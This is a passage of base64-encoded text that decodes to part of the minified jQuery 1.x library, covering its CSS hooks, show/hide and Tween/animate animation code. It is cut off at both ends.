gpLGR9LGJveFNpemluZ1JlbGlhYmxlOmZ1bmN0aW9uKCl7cmV0dXJuIG51bGw9PWUmJmsoKSxlfSxwaXhlbFBvc2l0aW9uOmZ1bmN0aW9uKCl7cmV0dXJuIG51bGw9PWYmJmsoKSxmfSxyZWxpYWJsZU1hcmdpblJpZ2h0OmZ1bmN0aW9uKCl7dmFyIGIsYyxkLGU7aWYobnVsbD09ZyYmYS5nZXRDb21wdXRlZFN0eWxlKXtpZihiPXouZ2V0RWxlbWVudHNCeVRhZ05hbWUoImJvZHkiKVswXSwhYilyZXR1cm47Yz16LmNyZWF0ZUVsZW1lbnQoImRpdiIpLGQ9ei5jcmVhdGVFbGVtZW50KCJkaXYiKSxjLnN0eWxlLmNzc1RleHQ9aSxiLmFwcGVuZENoaWxkKGMpLmFwcGVuZENoaWxkKGQpLGU9ZC5hcHBlbmRDaGlsZCh6LmNyZWF0ZUVsZW1lbnQoImRpdiIpKSxlLnN0eWxlLmNzc1RleHQ9ZC5zdHlsZS5jc3NUZXh0PWosZS5zdHlsZS5tYXJnaW5SaWdodD1lLnN0eWxlLndpZHRoPSIwIixkLnN0eWxlLndpZHRoPSIxcHgiLGc9IXBhcnNlRmxvYXQoKGEuZ2V0Q29tcHV0ZWRTdHlsZShlLG51bGwpfHx7fSkubWFyZ2luUmlnaHQpLGIucmVtb3ZlQ2hpbGQoYyl9cmV0dXJuIGd9fSk7ZnVuY3Rpb24gaygpe3ZhciBiLGMsaD16LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF07aCYmKGI9ei5jcmVhdGVFbGVtZW50KCJkaXYiKSxjPXouY3JlYXRlRWxlbWVudCgiZGl2IiksYi5zdHlsZS5jc3NUZXh0PWksaC5hcHBlbmRDaGlsZChiKS5hcHBlbmRDaGlsZChjKSxjLnN0eWxlLmNzc1RleHQ9Ii13ZWJraXQtYm94LXNpemluZzpib3JkZXItYm94Oy1tb3otYm94LXNpemluZzpib3JkZXItYm94O2JveC1zaXppbmc6Ym9yZGVyLWJveDtwb3NpdGlvbjphYnNvbHV0ZTtkaXNwbGF5OmJsb2NrO3BhZGRpbmc6MXB4O2JvcmRlcjoxcHg7d2lkdGg6NHB4O21hcmdpbi10b3A6MSU7dG9wOjElIixuLnN3YXAoaCxudWxsIT1oLnN0eWxlLnpvb20/e3pvb206MX06e30sZnVuY3Rpb24oKXtkPTQ9PT1jLm9mZnNldFdpZHRofSksZT0hMCxmPSExLGc9ITAsYS5nZXRDb21wdXRlZFN0eWxlJiYoZj0iMSUiIT09KGEuZ2V0Q29tcHV0ZWRTdHlsZShjLG51bGwpfHx7fSkudG9wLGU9IjRweCI9PT0oYS5nZXRDb21wdXRlZFN0eWxlKGMsbnVsbCl8fHt3aWR0aDoiNHB4In0pLndpZHRoKSxoLnJlbW92ZUNoaWxkKGIpLGM9aD1udWxsKX19KCksbi5zd2FwPWZ1bmN0aW9uKGEsYixjLGQpe3ZhciBlLGYsZz17fTtmb3IoZiBpbiBiKWdbZl09YS5zdHlsZVtmXSxhLnN0eWxlW2ZdPWJbZl07ZT1jLmFwcGx5KGEsZHx8W10pO2ZvcihmIGluIGIpYS5zdHlsZVtmXT1nW2ZdO3JldHVybiBlfTt2YXIgTmI9L2FscGhhXChbXildKlwpL2ksT2I9L29wYWNpdHlccyo9XHMqKFteKV0qKS8sUGI9L14obm9uZXx0YWJsZSg/IS1jW2VhXSkuKykvLFFiPW5ldyBSZWdFeHAoIl4oIitUKyIpKC4qKSQiLCJpIiksUmI9bmV3IFJlZ0V4cCgiXihbKy1dKT0oIitUKyIpIiwiaSIpLFNiPXtwb3NpdGlvbjoiYWJzb2x1dGUiLHZpc2liaWxpdHk6ImhpZGRlbiIsZGlzcGxheToiYmxvY2sifSxUYj17bGV0dGVyU3BhY2luZzowLGZvbnRXZWlnaHQ6NDAwfSxVYj1bIldlYmtpdCIsIk8iLCJNb3oiLCJtcyJdO2Z1bmN0aW9uIFZiKGEsYil7aWYoYiBpbiBhKXJldHVybiBiO3ZhciBjPWIuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkrYi5zbGljZSgxKSxkPWIsZT1VYi5sZW5ndGg7d2hpbGUoZS0tKWlmKGI9VWJbZV0rYyxiIGluIGEpcmV0dXJuIGI7cmV0dXJuIGR9ZnVuY3Rpb24gV2IoYSxiKXtmb3IodmFyIGMsZCxlLGY9W10sZz0wLGg9YS5sZW5ndGg7aD5nO2crKylkPWFbZ10sZC5zdHlsZSYmKGZbZ109bi5fZGF0YShkLCJvbGRkaXNwbGF5IiksYz1kLnN0eWxlLmRpc3BsYXksYj8oZltnXXx8Im5vbmUiIT09Y3x8KGQuc3R5bGUuZGlzcGxheT0iIiksIiI9PT1kLnN0eWxlLmRpc3BsYXkmJlYoZCkmJihmW2ddPW4uX2RhdGEoZCwib2xkZGlzcGxheSIsR2IoZC5ub2RlTmFtZSkpKSk6ZltnXXx8KGU9VihkKSwoYyYmIm5vbmUiIT09Y3x8IWUpJiZuLl9kYXRhKGQsIm9sZGRpc3BsYXkiLGU/YzpuLmNzcyhkLCJkaXNwbGF5IikpKSk7Zm9yKGc9MDtoPmc7ZysrKWQ9YVtnXSxkLnN0eWxlJiYoYiYmIm5vbmUiIT09ZC5zdHlsZS5kaXNwbGF5JiYiIiE9PWQuc3R5bGUuZGlzcGxheXx8KGQuc3R5bGUuZGlzcGxheT1iP2ZbZ118fCIiOiJub25lIikpO3JldHVybiBhfWZ1bmN0aW9uIFhiKGEsYixjKXt2YXIgZD1RYi5leGVjKGIpO3JldHVybiBkP01hdGgubWF4KDAsZFsxXS0oY3x8MCkpKyhkWzJdfHwicHgiKTpifWZ1bmN0aW9uIFliKGEsYixjLGQsZSl7Zm9yKHZhciBmPWM9PT0oZD8iYm9yZGVyIjoiY29udGVudCIpPzQ6IndpZHRoIj09PWI/MTowLGc9MDs0PmY7Zis9MikibWFyZ2luIj09PWMmJihnKz1uLmNzcyhhLGMrVVtmXSwhMCxlKSksZD8oImNvbnRlbnQiPT09YyYmKGctPW4uY3NzKGEsInBhZGRpbmciK1VbZl0sITAsZSkpLCJtYXJnaW4iIT09YyYmKGctPW4uY3NzKGEsImJvcmRlciIrVVtmXSsiV2lkdGgiLCEwLGUpKSk6KGcrPW4uY3NzKGEsInBhZGRpbmciK1VbZl0sITAsZSksInBhZGRpbmciIT09YyYmKGcrPW4uY3NzKGEsImJvcmRlciIrVVtmXSsiV2lkdGgiLCEwLGUpKSk7cmV0dXJuIGd9ZnVuY3Rpb24gWmIoYSxiLGMpe3ZhciBkPSEwLGU9IndpZHRoIj09PWI/YS5vZmZzZXRXaWR0aDphLm9mZnNldEhlaWdodCxmPUpiKGEpLGc9bC5ib3hTaXppbmcoKSYmImJvcmRlci1ib3giPT09bi5jc3MoYSwiYm94U2l6aW5nIiwhMSxmKTtpZigwPj1lfHxudWxsPT1lKXtpZihlPUtiKGEsYixmKSwoMD5lfHxudWxsPT1lKSYmKGU9YS5zdHlsZVtiXSksSWIudGVzdChlKSlyZXR1cm4gZTtkPWcmJihsLmJveFNpemluZ1JlbGlhYmxlKCl8fGU9PT1hLnN0eWxlW2JdKSxlPXBhcnNlRmxvYXQoZSl8fDB9cmV0dXJuIGUrWWIoYSxiLGN8fChnPyJib3JkZXIiOiJjb250ZW50IiksZCxmKSsicHgifW4uZXh0ZW5kKHtjc3NIb29rczp7b3BhY2l0eTp7Z2V0OmZ1bmN0aW9uKGEsYil7aWYoYil7dmFyIGM9S2IoYSwib3BhY2l0eSIpO3JldHVybiIiPT09Yz8iMSI6Y319fX0sY3NzTnVtYmVyOntjb2x1bW5Db3VudDohMCxmaWxsT3BhY2l0eTohMCxmb250V2VpZ2h0OiEwLGxpbmVIZWlnaHQ6ITAsb3BhY2l0eTohMCxvcmRlcjohMCxvcnBoYW5zOiEwLHdpZG93czohMCx6SW5kZXg6ITAsem9vbTohMH0sY3NzUHJvcHM6eyJmbG9hdCI6bC5jc3NGbG9hdD8iY3NzRmxvYXQiOiJzdHlsZUZsb2F0In0sc3R5bGU6ZnVuY3Rpb24oYSxiLGMsZCl7aWYoYSYmMyE9PWEubm9kZVR5cGUmJjghPT1hLm5vZGVUeXBlJiZhLnN0eWxlKXt2YXIgZSxmLGcsaD1uLmNhbWVsQ2FzZShiKSxpPWEuc3R5bGU7aWYoYj1uLmNzc1Byb3BzW2hdfHwobi5jc3NQcm9wc1toXT1WYihpLGgpKSxnPW4uY3NzSG9va3NbYl18fG4uY3NzSG9va3NbaF0sdm9pZCAwPT09YylyZXR1cm4gZyYmImdldCJpbiBnJiZ2b2lkIDAhPT0oZT1nLmdldChhLCExLGQpKT9lOmlbYl07aWYoZj10eXBlb2YgYywic3RyaW5nIj09PWYmJihlPVJiLmV4ZWMoYykpJiYoYz0oZVsxXSsxKSplWzJdK3BhcnNlRmxvYXQobi5jc3MoYSxiKSksZj0ibnVtYmVyIiksbnVsbCE9YyYmYz09PWMmJigibnVtYmVyIiE9PWZ8fG4uY3NzTnVtYmVyW2hdfHwoYys9InB4IiksbC5jbGVhckNsb25lU3R5bGV8fCIiIT09Y3x8MCE9PWIuaW5kZXhPZigiYmFja2dyb3VuZCIpfHwoaVtiXT0iaW5oZXJpdCIpLCEoZyYmInNldCJpbiBnJiZ2b2lkIDA9PT0oYz1nLnNldChhLGMsZCkpKSkpdHJ5e2lbYl09IiIsaVtiXT1jfWNhdGNoKGope319fSxjc3M6ZnVuY3Rpb24oYSxiLGMsZCl7dmFyIGUsZixnLGg9bi5jYW1lbENhc2UoYik7cmV0dXJuIGI9bi5jc3NQcm9wc1toXXx8KG4uY3NzUHJvcHNbaF09VmIoYS5zdHlsZSxoKSksZz1uLmNzc0hvb2tzW2JdfHxuLmNzc0hvb2tzW2hdLGcmJiJnZXQiaW4gZyYmKGY9Zy5nZXQoYSwhMCxjKSksdm9pZCAwPT09ZiYmKGY9S2IoYSxiLGQpKSwibm9ybWFsIj09PWYmJmIgaW4gVGImJihmPVRiW2JdKSwiIj09PWN8fGM/KGU9cGFyc2VGbG9hdChmKSxjPT09ITB8fG4uaXNOdW1lcmljKGUpP2V8fDA6Zik6Zn19KSxuLmVhY2goWyJoZWlnaHQiLCJ3aWR0aCJdLGZ1bmN0aW9uKGEsYil7bi5jc3NIb29rc1tiXT17Z2V0OmZ1bmN0aW9uKGEsYyxkKXtyZXR1cm4gYz8wPT09YS5vZmZzZXRXaWR0aCYmUGIudGVzdChuLmNzcyhhLCJkaXNwbGF5IikpP24uc3dhcChhLFNiLGZ1bmN0aW9uKCl7cmV0dXJuIFpiKGEsYixkKX0pOlpiKGEsYixkKTp2b2lkIDB9LHNldDpmdW5jdGlvbihhLGMsZCl7dmFyIGU9ZCYmSmIoYSk7cmV0dXJuIFhiKGEsYyxkP1liKGEsYixkLGwuYm94U2l6aW5nKCkmJiJib3JkZXItYm94Ij09PW4uY3NzKGEsImJveFNpemluZyIsITEsZSksZSk6MCl9fX0pLGwub3BhY2l0eXx8KG4uY3NzSG9va3Mub3BhY2l0eT17Z2V0OmZ1bmN0aW9uKGEsYil7cmV0dXJuIE9iLnRlc3QoKGImJmEuY3VycmVudFN0eWxlP2EuY3VycmVudFN0eWxlLmZpbHRlcjphLnN0eWxlLmZpbHRlcil8fCIiKT8uMDEqcGFyc2VGbG9hdChSZWdFeHAuJDEpKyIiOmI/IjEiOiIifSxzZXQ6ZnVuY3Rpb24oYSxiKXt2YXIgYz1hLnN0eWxlLGQ9YS5jdXJyZW50U3R5bGUsZT1uLmlzTnVtZXJpYyhiKT8iYWxwaGEob3BhY2l0eT0iKzEwMCpiKyIpIjoiIixmPWQmJmQuZmlsdGVyfHxjLmZpbHRlcnx8IiI7Yy56b29tPTEsKGI+PTF8fCIiPT09YikmJiIiPT09bi50cmltKGYucmVwbGFjZShOYiwiIikpJiZjLnJlbW92ZUF0dHJpYnV0ZSYmKGMucmVtb3ZlQXR0cmlidXRlKCJmaWx0ZXIiKSwiIj09PWJ8fGQmJiFkLmZpbHRlcil8fChjLmZpbHRlcj1OYi50ZXN0KGYpP2YucmVwbGFjZShOYixlKTpmKyIgIitlKX19KSxuLmNzc0hvb2tzLm1hcmdpblJpZ2h0PU1iKGwucmVsaWFibGVNYXJnaW5SaWdodCxmdW5jdGlvbihhLGIpe3JldHVybiBiP24uc3dhcChhLHtkaXNwbGF5OiJpbmxpbmUtYmxvY2sifSxLYixbYSwibWFyZ2luUmlnaHQiXSk6dm9pZCAwfSksbi5lYWNoKHttYXJnaW46IiIscGFkZGluZzoiIixib3JkZXI6IldpZHRoIn0sZnVuY3Rpb24oYSxiKXtuLmNzc0hvb2tzW2ErYl09e2V4cGFuZDpmdW5jdGlvbihjKXtmb3IodmFyIGQ9MCxlPXt9LGY9InN0cmluZyI9PXR5cGVvZiBjP2Muc3BsaXQoIiAiKTpbY107ND5kO2QrKyllW2ErVVtkXStiXT1mW2RdfHxmW2QtMl18fGZbMF07cmV0dXJuIGV9fSxIYi50ZXN0KGEpfHwobi5jc3NIb29rc1thK2JdLnNldD1YYil9KSxuLmZuLmV4dGVuZCh7Y3NzOmZ1bmN0aW9uKGEsYil7cmV0dXJuIFcodGhpcyxmdW5jdGlvbihhLGIsYyl7dmFyIGQsZSxmPXt9LGc9MDtpZihuLmlzQXJyYXkoYikpe2ZvcihkPUpiKGEpLGU9Yi5sZW5ndGg7ZT5nO2crKylmW2JbZ11dPW4uY3NzKGEsYltnXSwhMSxkKTtyZXR1cm4gZn1yZXR1cm4gdm9pZCAwIT09Yz9uLnN0eWxlKGEsYixjKTpuLmNzcyhhLGIpCn0sYSxiLGFyZ3VtZW50cy5sZW5ndGg+MSl9LHNob3c6ZnVuY3Rpb24oKXtyZXR1cm4gV2IodGhpcywhMCl9LGhpZGU6ZnVuY3Rpb24oKXtyZXR1cm4gV2IodGhpcyl9LHRvZ2dsZTpmdW5jdGlvbihhKXtyZXR1cm4iYm9vbGVhbiI9PXR5cGVvZiBhP2E/dGhpcy5zaG93KCk6dGhpcy5oaWRlKCk6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7Vih0aGlzKT9uKHRoaXMpLnNob3coKTpuKHRoaXMpLmhpZGUoKX0pfX0pO2Z1bmN0aW9uICRiKGEsYixjLGQsZSl7cmV0dXJuIG5ldyAkYi5wcm90b3R5cGUuaW5pdChhLGIsYyxkLGUpfW4uVHdlZW49JGIsJGIucHJvdG90eXBlPXtjb25zdHJ1Y3RvcjokYixpbml0OmZ1bmN0aW9uKGEsYixjLGQsZSxmKXt0aGlzLmVsZW09YSx0aGlzLnByb3A9Yyx0aGlzLmVhc2luZz1lfHwic3dpbmciLHRoaXMub3B0aW9ucz1iLHRoaXMuc3RhcnQ9dGhpcy5ub3c9dGhpcy5jdXIoKSx0aGlzLmVuZD1kLHRoaXMudW5pdD1mfHwobi5jc3NOdW1iZXJbY10/IiI6InB4Iil9LGN1cjpmdW5jdGlvbigpe3ZhciBhPSRiLnByb3BIb29rc1t0aGlzLnByb3BdO3JldHVybiBhJiZhLmdldD9hLmdldCh0aGlzKTokYi5wcm9wSG9va3MuX2RlZmF1bHQuZ2V0KHRoaXMpfSxydW46ZnVuY3Rpb24oYSl7dmFyIGIsYz0kYi5wcm9wSG9va3NbdGhpcy5wcm9wXTtyZXR1cm4gdGhpcy5wb3M9Yj10aGlzLm9wdGlvbnMuZHVyYXRpb24/bi5lYXNpbmdbdGhpcy5lYXNpbmddKGEsdGhpcy5vcHRpb25zLmR1cmF0aW9uKmEsMCwxLHRoaXMub3B0aW9ucy5kdXJhdGlvbik6YSx0aGlzLm5vdz0odGhpcy5lbmQtdGhpcy5zdGFydCkqYit0aGlzLnN0YXJ0LHRoaXMub3B0aW9ucy5zdGVwJiZ0aGlzLm9wdGlvbnMuc3RlcC5jYWxsKHRoaXMuZWxlbSx0aGlzLm5vdyx0aGlzKSxjJiZjLnNldD9jLnNldCh0aGlzKTokYi5wcm9wSG9va3MuX2RlZmF1bHQuc2V0KHRoaXMpLHRoaXN9fSwkYi5wcm90b3R5cGUuaW5pdC5wcm90b3R5cGU9JGIucHJvdG90eXBlLCRiLnByb3BIb29rcz17X2RlZmF1bHQ6e2dldDpmdW5jdGlvbihhKXt2YXIgYjtyZXR1cm4gbnVsbD09YS5lbGVtW2EucHJvcF18fGEuZWxlbS5zdHlsZSYmbnVsbCE9YS5lbGVtLnN0eWxlW2EucHJvcF0/KGI9bi5jc3MoYS5lbGVtLGEucHJvcCwiIiksYiYmImF1dG8iIT09Yj9iOjApOmEuZWxlbVthLnByb3BdfSxzZXQ6ZnVuY3Rpb24oYSl7bi5meC5zdGVwW2EucHJvcF0/bi5meC5zdGVwW2EucHJvcF0oYSk6YS5lbGVtLnN0eWxlJiYobnVsbCE9YS5lbGVtLnN0eWxlW24uY3NzUHJvcHNbYS5wcm9wXV18fG4uY3NzSG9va3NbYS5wcm9wXSk/bi5zdHlsZShhLmVsZW0sYS5wcm9wLGEubm93K2EudW5pdCk6YS5lbGVtW2EucHJvcF09YS5ub3d9fX0sJGIucHJvcEhvb2tzLnNjcm9sbFRvcD0kYi5wcm9wSG9va3Muc2Nyb2xsTGVmdD17c2V0OmZ1bmN0aW9uKGEpe2EuZWxlbS5ub2RlVHlwZSYmYS5lbGVtLnBhcmVudE5vZGUmJihhLmVsZW1bYS5wcm9wXT1hLm5vdyl9fSxuLmVhc2luZz17bGluZWFyOmZ1bmN0aW9uKGEpe3JldHVybiBhfSxzd2luZzpmdW5jdGlvbihhKXtyZXR1cm4uNS1NYXRoLmNvcyhhKk1hdGguUEkpLzJ9fSxuLmZ4PSRiLnByb3RvdHlwZS5pbml0LG4uZnguc3RlcD17fTt2YXIgX2IsYWMsYmM9L14oPzp0b2dnbGV8c2hvd3xoaWRlKSQvLGNjPW5ldyBSZWdFeHAoIl4oPzooWystXSk9fCkoIitUKyIpKFthLXolXSopJCIsImkiKSxkYz0vcXVldWVIb29rcyQvLGVjPVtqY10sZmM9eyIqIjpbZnVuY3Rpb24oYSxiKXt2YXIgYz10aGlzLmNyZWF0ZVR3ZWVuKGEsYiksZD1jLmN1cigpLGU9Y2MuZXhlYyhiKSxmPWUmJmVbM118fChuLmNzc051bWJlclthXT8iIjoicHgiKSxnPShuLmNzc051bWJlclthXXx8InB4IiE9PWYmJitkKSYmY2MuZXhlYyhuLmNzcyhjLmVsZW0sYSkpLGg9MSxpPTIwO2lmKGcmJmdbM10hPT1mKXtmPWZ8fGdbM10sZT1lfHxbXSxnPStkfHwxO2RvIGg9aHx8Ii41IixnLz1oLG4uc3R5bGUoYy5lbGVtLGEsZytmKTt3aGlsZShoIT09KGg9Yy5jdXIoKS9kKSYmMSE9PWgmJi0taSl9cmV0dXJuIGUmJihnPWMuc3RhcnQ9K2d8fCtkfHwwLGMudW5pdD1mLGMuZW5kPWVbMV0/ZysoZVsxXSsxKSplWzJdOitlWzJdKSxjfV19O2Z1bmN0aW9uIGdjKCl7cmV0dXJuIHNldFRpbWVvdXQoZnVuY3Rpb24oKXtfYj12b2lkIDB9KSxfYj1uLm5vdygpfWZ1bmN0aW9uIGhjKGEsYil7dmFyIGMsZD17aGVpZ2h0OmF9LGU9MDtmb3IoYj1iPzE6MDs0PmU7ZSs9Mi1iKWM9VVtlXSxkWyJtYXJnaW4iK2NdPWRbInBhZGRpbmciK2NdPWE7cmV0dXJuIGImJihkLm9wYWNpdHk9ZC53aWR0aD1hKSxkfWZ1bmN0aW9uIGljKGEsYixjKXtmb3IodmFyIGQsZT0oZmNbYl18fFtdKS5jb25jYXQoZmNbIioiXSksZj0wLGc9ZS5sZW5ndGg7Zz5mO2YrKylpZihkPWVbZl0uY2FsbChjLGIsYSkpcmV0dXJuIGR9ZnVuY3Rpb24gamMoYSxiLGMpe3ZhciBkLGUsZixnLGgsaSxqLGssbT10aGlzLG89e30scD1hLnN0eWxlLHE9YS5ub2RlVHlwZSYmVihhKSxyPW4uX2RhdGEoYSwiZnhzaG93Iik7Yy5xdWV1ZXx8KGg9bi5fcXVldWVIb29rcyhhLCJmeCIpLG51bGw9PWgudW5xdWV1ZWQmJihoLnVucXVldWVkPTAsaT1oLmVtcHR5LmZpcmUsaC5lbXB0eS5maXJlPWZ1bmN0aW9uKCl7aC51bnF1ZXVlZHx8aSgpfSksaC51bnF1ZXVlZCsrLG0uYWx3YXlzKGZ1bmN0aW9uKCl7bS5hbHdheXMoZnVuY3Rpb24oKXtoLnVucXVldWVkLS0sbi5xdWV1ZShhLCJmeCIpLmxlbmd0aHx8aC5lbXB0eS5maXJlKCl9KX0pKSwxPT09YS5ub2RlVHlwZSYmKCJoZWlnaHQiaW4gYnx8IndpZHRoImluIGIpJiYoYy5vdmVyZmxvdz1bcC5vdmVyZmxvdyxwLm92ZXJmbG93WCxwLm92ZXJmbG93WV0saj1uLmNzcyhhLCJkaXNwbGF5Iiksaz1HYihhLm5vZGVOYW1lKSwibm9uZSI9PT1qJiYoaj1rKSwiaW5saW5lIj09PWomJiJub25lIj09PW4uY3NzKGEsImZsb2F0IikmJihsLmlubGluZUJsb2NrTmVlZHNMYXlvdXQmJiJpbmxpbmUiIT09az9wLnpvb209MTpwLmRpc3BsYXk9ImlubGluZS1ibG9jayIpKSxjLm92ZXJmbG93JiYocC5vdmVyZmxvdz0iaGlkZGVuIixsLnNocmlua1dyYXBCbG9ja3MoKXx8bS5hbHdheXMoZnVuY3Rpb24oKXtwLm92ZXJmbG93PWMub3ZlcmZsb3dbMF0scC5vdmVyZmxvd1g9Yy5vdmVyZmxvd1sxXSxwLm92ZXJmbG93WT1jLm92ZXJmbG93WzJdfSkpO2ZvcihkIGluIGIpaWYoZT1iW2RdLGJjLmV4ZWMoZSkpe2lmKGRlbGV0ZSBiW2RdLGY9Znx8InRvZ2dsZSI9PT1lLGU9PT0ocT8iaGlkZSI6InNob3ciKSl7aWYoInNob3ciIT09ZXx8IXJ8fHZvaWQgMD09PXJbZF0pY29udGludWU7cT0hMH1vW2RdPXImJnJbZF18fG4uc3R5bGUoYSxkKX1pZighbi5pc0VtcHR5T2JqZWN0KG8pKXtyPyJoaWRkZW4iaW4gciYmKHE9ci5oaWRkZW4pOnI9bi5fZGF0YShhLCJmeHNob3ciLHt9KSxmJiYoci5oaWRkZW49IXEpLHE/bihhKS5zaG93KCk6bS5kb25lKGZ1bmN0aW9uKCl7bihhKS5oaWRlKCl9KSxtLmRvbmUoZnVuY3Rpb24oKXt2YXIgYjtuLl9yZW1vdmVEYXRhKGEsImZ4c2hvdyIpO2ZvcihiIGluIG8pbi5zdHlsZShhLGIsb1tiXSl9KTtmb3IoZCBpbiBvKWc9aWMocT9yW2RdOjAsZCxtKSxkIGluIHJ8fChyW2RdPWcuc3RhcnQscSYmKGcuZW5kPWcuc3RhcnQsZy5zdGFydD0id2lkdGgiPT09ZHx8ImhlaWdodCI9PT1kPzE6MCkpfX1mdW5jdGlvbiBrYyhhLGIpe3ZhciBjLGQsZSxmLGc7Zm9yKGMgaW4gYSlpZihkPW4uY2FtZWxDYXNlKGMpLGU9YltkXSxmPWFbY10sbi5pc0FycmF5KGYpJiYoZT1mWzFdLGY9YVtjXT1mWzBdKSxjIT09ZCYmKGFbZF09ZixkZWxldGUgYVtjXSksZz1uLmNzc0hvb2tzW2RdLGcmJiJleHBhbmQiaW4gZyl7Zj1nLmV4cGFuZChmKSxkZWxldGUgYVtkXTtmb3IoYyBpbiBmKWMgaW4gYXx8KGFbY109ZltjXSxiW2NdPWUpfWVsc2UgYltkXT1lfWZ1bmN0aW9uIGxjKGEsYixjKXt2YXIgZCxlLGY9MCxnPWVjLmxlbmd0aCxoPW4uRGVmZXJyZWQoKS5hbHdheXMoZnVuY3Rpb24oKXtkZWxldGUgaS5lbGVtfSksaT1mdW5jdGlvbigpe2lmKGUpcmV0dXJuITE7Zm9yKHZhciBiPV9ifHxnYygpLGM9TWF0aC5tYXgoMCxqLnN0YXJ0VGltZStqLmR1cmF0aW9uLWIpLGQ9Yy9qLmR1cmF0aW9ufHwwLGY9MS1kLGc9MCxpPWoudHdlZW5zLmxlbmd0aDtpPmc7ZysrKWoudHdlZW5zW2ddLnJ1bihmKTtyZXR1cm4gaC5ub3RpZnlXaXRoKGEsW2osZixjXSksMT5mJiZpP2M6KGgucmVzb2x2ZVdpdGgoYSxbal0pLCExKX0saj1oLnByb21pc2Uoe2VsZW06YSxwcm9wczpuLmV4dGVuZCh7fSxiKSxvcHRzOm4uZXh0ZW5kKCEwLHtzcGVjaWFsRWFzaW5nOnt9fSxjKSxvcmlnaW5hbFByb3BlcnRpZXM6YixvcmlnaW5hbE9wdGlvbnM6YyxzdGFydFRpbWU6X2J8fGdjKCksZHVyYXRpb246Yy5kdXJhdGlvbix0d2VlbnM6W10sY3JlYXRlVHdlZW46ZnVuY3Rpb24oYixjKXt2YXIgZD1uLlR3ZWVuKGEsai5vcHRzLGIsYyxqLm9wdHMuc3BlY2lhbEVhc2luZ1tiXXx8ai5vcHRzLmVhc2luZyk7cmV0dXJuIGoudHdlZW5zLnB1c2goZCksZH0sc3RvcDpmdW5jdGlvbihiKXt2YXIgYz0wLGQ9Yj9qLnR3ZWVucy5sZW5ndGg6MDtpZihlKXJldHVybiB0aGlzO2ZvcihlPSEwO2Q+YztjKyspai50d2VlbnNbY10ucnVuKDEpO3JldHVybiBiP2gucmVzb2x2ZVdpdGgoYSxbaixiXSk6aC5yZWplY3RXaXRoKGEsW2osYl0pLHRoaXN9fSksaz1qLnByb3BzO2ZvcihrYyhrLGoub3B0cy5zcGVjaWFsRWFzaW5nKTtnPmY7ZisrKWlmKGQ9ZWNbZl0uY2FsbChqLGEsayxqLm9wdHMpKXJldHVybiBkO3JldHVybiBuLm1hcChrLGljLGopLG4uaXNGdW5jdGlvbihqLm9wdHMuc3RhcnQpJiZqLm9wdHMuc3RhcnQuY2FsbChhLGopLG4uZngudGltZXIobi5leHRlbmQoaSx7ZWxlbTphLGFuaW06aixxdWV1ZTpqLm9wdHMucXVldWV9KSksai5wcm9ncmVzcyhqLm9wdHMucHJvZ3Jlc3MpLmRvbmUoai5vcHRzLmRvbmUsai5vcHRzLmNvbXBsZXRlKS5mYWlsKGoub3B0cy5mYWlsKS5hbHdheXMoai5vcHRzLmFsd2F5cyl9bi5BbmltYXRpb249bi5leHRlbmQobGMse3R3ZWVuZXI6ZnVuY3Rpb24oYSxiKXtuLmlzRnVuY3Rpb24oYSk/KGI9YSxhPVsiKiJdKTphPWEuc3BsaXQoIiAiKTtmb3IodmFyIGMsZD0wLGU9YS5sZW5ndGg7ZT5kO2QrKyljPWFbZF0sZmNbY109ZmNbY118fFtdLGZjW2NdLnVuc2hpZnQoYil9LHByZWZpbHRlcjpmdW5jdGlvbihhLGIpe2I/ZWMudW5zaGlmdChhKTplYy5wdXNoKGEpfX0pLG4uc3BlZWQ9ZnVuY3Rpb24oYSxiLGMpe3ZhciBkPWEmJiJvYmplY3QiPT10eXBlb2YgYT9uLmV4dGVuZCh7fSxhKTp7Y29tcGxldGU6Y3x8IWMmJmJ8fG4uaXNGdW5jdGlvbihhKSYmYSxkdXJhdGlvbjphLGVhc2luZzpjJiZifHxiJiYhbi5pc0Z1bmN0aW9uKGIpJiZifTtyZXR1cm4gZC5kdXJhdGlvbj1uLmZ4Lm9mZj8wOiJudW1iZXIiPT10eXBlb2YgZC5kdXJhdGlvbj9kLmR1cmF0aW9uOmQuZHVyYXRpb24gaW4gbi5meC5zcGVlZHM/bi5meC5zcGVlZHNbZC5kdXJhdGlvbl06bi5meC5zcGVlZHMuX2RlZmF1bHQsKG51bGw9PWQucXVldWV8fGQucXVldWU9PT0hMCkmJihkLnF1ZXVlPSJmeCIpLGQub2xkPWQuY29tcGxldGUsZC5jb21wbGV0ZT1mdW5jdGlvbigpe24uaXNGdW5jdGlvbihkLm9sZCkmJmQub2xkLmNhbGwodGhpcyksZC5xdWV1ZSYmbi5kZXF1ZXVlKHRoaXMsZC5xdWV1ZSl9LGR9LG4uZm4uZXh0ZW5kKHtmYWRlVG86ZnVuY3Rpb24oYSxiLGMsZCl7cmV0dXJuIHRoaXMuZmlsdGVyKFYpLmNzcygib3BhY2l0eSIsMCkuc2hvdygpLmVuZCgpLmFuaW1hdGUoe29wYWNpdHk6Yn0sYSxjLGQpfSxhbmltYXRlOmZ1bmN0aW9uKGEsYixjLGQpe3ZhciBlPW4uaXNFbXB0eU9iamVjdChhKSxmPW4uc3BlZWQoYixjLGQpLGc9ZnVuY3Rpb24oKXt2YXIgYj1sYyh0aGlzLG4uZXh0ZW5kKHt9LGEpLGYpOyhlfHxuLl9kYXRhKHRoaXMsImZpbmlzaCIpKSYmYi5zdG9wKCEwKX07cmV0dXJuIGcuZmluaXNoPWcsZXx8Zi5xdWV1ZT09PSExP3RoaXMuZWFjaChnKTp0aGlzLnF1ZXVlKGYucXVldWUsZyl9LHN0b3A6ZnVuY3Rpb24oYSxiLGMpe3ZhciBkPWZ1bmN0aW9uKGEpe3ZhciBiPWEuc3RvcDtkZWxldGUgYS5zdG9wLGIoYyl9O3JldHVybiJzdHJpbmciIT10eXBlb2YgYSYmKGM9YixiPWEsYT12b2lkIDApLGImJmEhPT0hMSYmdGhpcy5xdWV1ZShhfHwiZngiLFtdKSx0aGlzLmVhY2goZnVuY3Rpb24oKXt2YXIgYj0hMCxlPW51bGwhPWEmJmErInF1ZXVlSG9va3MiLGY9bi50aW1lcnMsZz1uLl9kYXRhKHRoaXMpO2lmKGUpZ1tlXSYmZ1tlXS5zdG9wJiZkKGdbZV0pO2Vsc2UgZm9yKGUgaW4gZylnW2VdJiZnW2VdLnN0b3AmJmRjLnRlc3QoZSkmJmQoZ1tlXSk7Zm9yKGU9Zi5sZW5ndGg7ZS0tOy